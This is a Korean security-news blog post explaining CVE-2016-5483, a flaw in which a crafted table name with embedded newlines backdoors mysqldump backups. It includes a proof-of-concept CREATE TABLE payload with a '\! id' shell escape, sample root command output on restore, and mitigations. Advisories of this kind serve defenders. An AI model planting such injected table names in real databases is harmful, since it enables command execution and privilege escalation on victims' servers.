상세 컨텐츠

본문 제목

mysqldump 백업을 이용한 백도어 생성가능한 취약점 (CVE-2016-5483)

국내외 보안동향

by 알약(Alyac) 2017. 3. 14. 09:30

본문

mysqldump 백업을 이용한 백도어 생성가능한 취약점 (CVE-2016-5483)


mysqldump는 MySQL DB에서 논리적 백업을 할 때 사용하는 툴 중 하나로, 기본설정조건에서 .sql 문서로 생성됩니다. 그 중에는 테이블 생성/삭제 및 데이터 입력 등의 기능도 포함되어 있습니다. 덤프파일에서 파일을 복원하는 과정에서, 공격자는 악의적으로 생성된 테이블이름을 통하여 임의의 SQL 검색쿼리와 shell명령을 이용하여 자신의 목적을 달성할 수 있습니다. (▶ 자세히 보기)



공격시나리오


공격자는 이미 희생자의 응용프로그램에 접근할 수 있으며, 임의의 SQL쿼리문을 실행할 수 있습니다.

공격자는 테이블 생성에 관한 권한을 갖고 있습니다.

공격타겟은 mysqldump를 통하여 주기적으로 데이터를 백업합니다. 

공격자는 권한상승을 통하여 시스템에 더 많은 권한을 획득합니다.


공격샘플


우선 공격자는 다음과 같은 쿼리문을 이용하여 악성 테이블을 생성합니다. 


CREATE TABLE `evil  

\! id

select user(),@@version/*`  (test text);


일반적으로 백업작업들은 일반적으로 실행될때마다 각 테이블에 엔트리가 포함된 덤프파일들을 생성합니다. 


--

-- Table structure for table `tablename`

--


하지만 공격자가 생성한 악성 테이블을 사용하면 엔트리를 다음과 같이 변경할 수 있습니다. 


--

-- Table structure for table `evil

\! id

select user(),@@version/*`  

--


지금처럼 볼 수 있듯이, 테이블 중의 새로운 라인은 공격자가 어느 라인에나 MySQL명령을 추가할 수 있도록 허용합니다. 일단 공격 페이로드가 성공적으로 실행되면, 다음과같은 작업을 합니다. 


- 만약 mysql 명령줄 클라이언트에 인해 import 된 것이라면, sh를 통하여 id명령을 실행합니다.

- 임의의 쿼리문을 실행하여 MySQL 사용자 이름과 서버 버전정보를 알아낼 수 있습니다. 


공격자는 DB중 몇몇 DB를 삭제하고, 랜덤으로 깨진 Unicode 부호를 삽입하여 DB 오류를 발생시킵니다. 시스템 관리자가 이를 발견하고 백업 파일에서 데이터를 복구시키려고 할 것입니다. 만약 데이터가 복구되면, 공격페이로드도 함께 실행이 되는 것입니다. 


$ mysql test < backup.sql

uid=0(root) gid=0(root) groups=0(root) <-- 공격자의 shell명령

user()    @@version  

root@localhost    10.1.18-MariaDB <-- 공격자의 SQL 쿼리


공격자는 관리자에게 백업 DB 복구를 유도하여 악성코드를 성공적으로 실행시켰습니다.



완화조치


mysqldump 명령어를 사용할 떄 --skip-comments 함수 사용

공격 가능한 곳의 테이블 생성권한 제거

백업 시 테이블의 구조가 아닌 DB의 데이터만 백업

다른 MySQL DB백업툴 사용



영향받는버전


종류 

 영향받는 버전

 최근 업데이트

 MySQL 

 모든버전 

 2016. 10. 17 

 MariaDB

 5.5.52 이하 혹은 10.1 미만 버전

 2017. 03. 09 

 Percona

 모든버전

 2016. 10. 17 




출처 : 

https://blog.tarq.io/cve-2016-5483-backdooring-mysqldump-backups/

관련글 더보기

댓글 영역